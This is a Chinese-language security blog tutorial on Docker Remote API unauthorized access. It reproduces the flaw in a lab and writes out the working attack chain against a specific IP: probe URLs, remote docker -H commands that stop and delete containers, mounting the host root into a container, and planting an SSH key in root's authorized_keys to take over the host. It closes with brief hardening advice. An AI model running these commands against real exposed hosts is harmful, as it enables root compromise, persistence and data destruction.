【云安全】云原生-Docker(六)Docker API 未授权访问

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。

漏洞复现

1、快速搭建环境

复制代码
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功

复制代码
#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径

复制代码
http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

复制代码
#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell

复制代码
#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell

复制代码
ssh root@39.105.123.35 -i id_rsa

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。

相关推荐
Bruce_Liuxiaowei24 分钟前
常见高危端口风险分析与防护指南
网络·网络安全·端口·信息搜集
企鹅侠客1 小时前
实践篇:14-构建 Node.js 应用程序镜像
docker·node.js·dockerfile
LCG元1 小时前
云原生微服务间的异步消息通信:最终一致性与系统容错的架构实战
微服务·云原生·架构
2501_916013741 小时前
iOS 多线程导致接口乱序?抓包还原 + 请求调度优化实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
做一个AC梦1 小时前
Docker安装失败:Docker Desktop installation failed
运维·docker·容器
Shan12051 小时前
浅谈Docker Kicks in的应用
运维·docker·容器
Li&&Tao1 小时前
docker 常用命令
docker·容器·eureka
头发那是一根不剩了3 小时前
双因子认证(2FA)是什么?从零设计一个安全的双因子登录接口
网络安全·系统设计·身份认证
Jiude3 小时前
MinIO 社区版被故意阉割,Web管理功能全面移除。我来试试国产RustFS
后端·docker·架构
飞询3 小时前
Docker 安装 Elasticsearch 9
elasticsearch·docker